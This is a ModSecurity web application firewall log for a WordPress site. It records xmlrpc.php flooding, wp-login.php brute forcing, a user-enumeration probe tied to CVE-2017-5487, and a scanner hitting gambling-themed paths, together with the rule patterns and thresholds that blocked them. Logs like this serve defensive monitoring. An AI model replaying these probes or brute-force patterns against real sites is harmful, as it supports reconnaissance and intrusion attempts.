[Wed Feb 04 20:37:30.916795 2026] [:error] [pid 47500:tid 47525] [client 34.63.109.236:37088] [client 34.63.109.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.109.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYM9irrUat0rhPdY3A0EtwAAAVU"]
[Wed Feb 04 22:16:19.435281 2026] [:error] [pid 47500:tid 47528] [client 20.93.54.24:25408] [client 20.93.54.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.93.54.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNUs7rUat0rhPdY3A0atQAAAVg"]
[Wed Feb 04 23:49:52.759748 2026] [:error] [pid 63686:tid 63762] [client 152.59.121.149:63173] [client 152.59.121.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.121.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNqoByaRl9O5jmngTz9XQAAARM"]
[Thu Feb 05 00:20:33.362451 2026] [:error] [pid 63684:tid 63694] [client 91.239.146.172:61456] [client 91.239.146.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.239.146.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx0dsfhS3nNwjjsUO2_AAAAIU"]
[Thu Feb 05 00:20:39.878217 2026] [:error] [pid 63685:tid 63740] [client 162.0.235.223:54298] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx146Dyg716yRb8FCRLQAAANg"]
[Thu Feb 05 00:20:55.492477 2026] [:error] [pid 63777:tid 63788] [client 142.93.83.180:54428] [client 142.93.83.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.83.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx5_Q-YVerd_zSVS9yZAAAAAk"]
[Thu Feb 05 00:20:56.740231 2026] [:error] [pid 63777:tid 63779] [client 172.104.27.223:57852] [client 172.104.27.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.104.27.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx6PQ-YVerd_zSVS9yZwAAAAA"]
[Thu Feb 05 00:21:09.897460 2026] [:error] [pid 6490:tid 6493] [client 47.242.2.139:49500] [client 47.242.2.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.2.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx9fjiJaSp2OpoDUlhcQAAAEA"]
[Thu Feb 05 00:21:18.073053 2026] [:error] [pid 26443:tid 26458] [client 47.86.33.61:56914] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNx_tRUJ4b_jBAfhPJNVQAAAU0"]
[Thu Feb 05 00:21:22.809473 2026] [:error] [pid 63686:tid 63753] [client 149.50.133.201:36948] [client 149.50.133.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.50.133.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYNyAhyaRl9O5jmngTwGAAAAAQo"]
[Thu Feb 05 01:24:08.514977 2026] [:error] [pid 26443:tid 26462] [client 43.135.183.82:51030] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYOAuNRUJ4b_jBAfhPJpeQAAAVE"]
[Thu Feb 05 01:27:59.160905 2026] [:error] [pid 6490:tid 6515] [client 103.77.107.204:53339] [client 103.77.107.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.107.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYOBn_jiJaSp2OpoDUl5WwAAAFY"]
[Thu Feb 05 01:27:59.160977 2026] [:error] [pid 6490:tid 6515] [client 103.77.107.204:53339] [client 103.77.107.204] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 103.77.107.204 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYOBn_jiJaSp2OpoDUl5WwAAAFY"]
[Thu Feb 05 01:28:46.115679 2026] [:error] [pid 63777:tid 63795] [client 35.192.17.39:60471] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOBzvQ-YVerd_zSVS-H3gAAABA"]
[Thu Feb 05 01:28:49.861988 2026] [:error] [pid 63777:tid 63789] [client 35.192.17.39:60471] [client 35.192.17.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYOB0fQ-YVerd_zSVS-H6wAAAAo"]
[Thu Feb 05 01:28:51.818491 2026] [:error] [pid 63777:tid 63795] [client 35.192.17.39:60471] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB0_Q-YVerd_zSVS-H7gAAABA"]
[Thu Feb 05 01:28:54.159541 2026] [:error] [pid 26443:tid 26449] [client 35.192.17.39:56499] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB1tRUJ4b_jBAfhPJragAAAUQ"]
[Thu Feb 05 01:28:56.155931 2026] [:error] [pid 63777:tid 63781] [client 35.192.17.39:65448] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB2PQ-YVerd_zSVS-H8QAAAAI"]
[Thu Feb 05 01:28:58.258381 2026] [:error] [pid 63777:tid 63790] [client 35.192.17.39:58616] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB2vQ-YVerd_zSVS-H9wAAAAs"]
[Thu Feb 05 01:29:00.384719 2026] [:error] [pid 6490:tid 6506] [client 35.192.17.39:51989] [client 35.192.17.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.17.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB3PjiJaSp2OpoDUl5ugAAAE0"]
[Thu Feb 05 01:29:00.384875 2026] [:error] [pid 6490:tid 6506] [client 35.192.17.39:51989] [client 35.192.17.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.192.17.39, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOB3PjiJaSp2OpoDUl5ugAAAE0"]
[Thu Feb 05 01:34:31.810002 2026] [:error] [pid 26443:tid 26458] [client 51.75.119.173:58828] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYODJ9RUJ4b_jBAfhPJubwAAAU0"]
[Thu Feb 05 01:34:38.241300 2026] [:error] [pid 63685:tid 63729] [client 51.75.119.173:51038] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYODLo6Dyg716yRb8FClmQAAAM0"]
[Thu Feb 05 01:34:41.454283 2026] [:error] [pid 63777:tid 63803] [client 51.75.119.173:51042] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYODMfQ-YVerd_zSVS-J8wAAABg"]
[Thu Feb 05 01:34:48.142629 2026] [:error] [pid 6490:tid 6498] [client 51.75.119.173:40348] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYODOPjiJaSp2OpoDUl8UwAAAEU"]
[Thu Feb 05 01:34:52.484007 2026] [:error] [pid 26443:tid 26456] [client 51.75.119.173:40358] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYODPNRUJ4b_jBAfhPJumwAAAUs"]
[Thu Feb 05 01:34:55.587608 2026] [:error] [pid 63777:tid 63782] [client 51.75.119.173:40368] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYODP_Q-YVerd_zSVS-KBwAAAAM"]
[Thu Feb 05 01:35:00.077428 2026] [:error] [pid 63685:tid 63729] [client 51.75.119.173:33532] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYODRI6Dyg716yRb8FClvQAAAM0"]
[Thu Feb 05 01:35:04.831078 2026] [:error] [pid 63684:tid 63707] [client 51.75.119.173:33548] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYODSNsfhS3nNwjjsUPNsQAAAJI"]
[Thu Feb 05 01:35:09.918826 2026] [:error] [pid 26443:tid 26449] [client 51.75.119.173:38014] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYODTdRUJ4b_jBAfhPJuvgAAAUQ"]
[Thu Feb 05 01:35:12.840478 2026] [:error] [pid 63684:tid 63703] [client 51.75.119.173:38020] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYODUNsfhS3nNwjjsUPNswAAAI4"]
[Thu Feb 05 01:35:18.996787 2026] [:error] [pid 26443:tid 26453] [client 51.75.119.173:54452] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYODVtRUJ4b_jBAfhPJu0gAAAUg"]
[Thu Feb 05 01:35:24.501185 2026] [:error] [pid 26443:tid 26465] [client 51.75.119.173:54460] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYODXNRUJ4b_jBAfhPJu4wAAAVQ"]
[Thu Feb 05 01:37:11.572840 2026] [:error] [pid 26443:tid 26469] [client 51.75.119.173:60968] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYODx9RUJ4b_jBAfhPJvlgAAAVg"]
[Thu Feb 05 01:37:19.960689 2026] [:error] [pid 26443:tid 26445] [client 51.75.119.173:54684] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYODz9RUJ4b_jBAfhPJvpQAAAUA"]
[Thu Feb 05 01:37:23.773740 2026] [:error] [pid 63686:tid 63744] [client 51.75.119.173:54692] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYOD0xyaRl9O5jmngTwboAAAAQE"]
[Thu Feb 05 01:37:33.780933 2026] [:error] [pid 6490:tid 6507] [client 51.75.119.173:52248] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYOD3fjiJaSp2OpoDUl9iAAAAE4"]
[Thu Feb 05 01:37:43.719880 2026] [:error] [pid 26443:tid 26462] [client 51.75.119.173:41476] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYOD59RUJ4b_jBAfhPJv-wAAAVE"]
[Thu Feb 05 01:37:51.531129 2026] [:error] [pid 63686:tid 63752] [client 51.75.119.173:54448] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aYOD7xyaRl9O5jmngTwbwwAAAQk"]
[Thu Feb 05 01:37:58.480186 2026] [:error] [pid 26443:tid 26461] [client 51.75.119.173:47600] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aYOD9tRUJ4b_jBAfhPJwIgAAAVA"]
[Thu Feb 05 01:40:23.198560 2026] [:error] [pid 63684:tid 63711] [client 51.75.119.173:59730] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYOEh9sfhS3nNwjjsUPPcgAAAJY"]
[Thu Feb 05 01:40:34.261790 2026] [:error] [pid 63777:tid 63803] [client 51.75.119.173:53246] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYOEkvQ-YVerd_zSVS-MVgAAABg"]
[Thu Feb 05 01:40:46.885843 2026] [:error] [pid 63777:tid 63798] [client 51.75.119.173:42102] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYOEnvQ-YVerd_zSVS-MaQAAABM"]
[Thu Feb 05 01:40:56.258926 2026] [:error] [pid 6490:tid 6512] [client 51.75.119.173:44312] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYOEqPjiJaSp2OpoDUl-1AAAAFM"]
[Thu Feb 05 01:41:06.974124 2026] [:error] [pid 63686:tid 63745] [client 51.75.119.173:51622] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYOEshyaRl9O5jmngTwdDQAAAQI"]
[Thu Feb 05 01:43:28.411959 2026] [:error] [pid 63777:tid 63803] [client 151.80.24.32:39762] [client 151.80.24.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.80.24.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYOFQPQ-YVerd_zSVS-NeAAAABg"]
[Thu Feb 05 01:43:43.676645 2026] [:error] [pid 63684:tid 63695] [client 51.75.119.173:42828] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYOFT9sfhS3nNwjjsUPQowAAAIY"]
[Thu Feb 05 01:43:57.513131 2026] [:error] [pid 63685:tid 63735] [client 51.75.119.173:39714] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYOFXY6Dyg716yRb8FCpjAAAANM"]
[Thu Feb 05 01:44:07.397592 2026] [:error] [pid 26443:tid 26447] [client 51.75.119.173:39724] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYOFZ9RUJ4b_jBAfhPJzsAAAAUI"]
[Thu Feb 05 01:44:22.498950 2026] [:error] [pid 6490:tid 6501] [client 51.75.119.173:54582] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYOFdvjiJaSp2OpoDUmAKgAAAEg"]
[Thu Feb 05 01:44:29.202972 2026] [:error] [pid 26443:tid 26465] [client 51.75.119.173:36760] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYOFfdRUJ4b_jBAfhPJz2AAAAVQ"]
[Thu Feb 05 01:47:03.851416 2026] [:error] [pid 6490:tid 6517] [client 51.75.119.173:56220] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aYOGF_jiJaSp2OpoDUmBawAAAFg"]
[Thu Feb 05 01:47:13.600929 2026] [:error] [pid 26443:tid 26469] [client 51.75.119.173:39162] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aYOGIdRUJ4b_jBAfhPJ1KgAAAVg"]
[Thu Feb 05 01:47:24.589985 2026] [:error] [pid 6490:tid 6504] [client 51.75.119.173:33550] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYOGLPjiJaSp2OpoDUmBlgAAAEs"]
[Thu Feb 05 01:47:40.163428 2026] [:error] [pid 63777:tid 63787] [client 51.75.119.173:51496] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYOGPPQ-YVerd_zSVS-PTwAAAAg"]
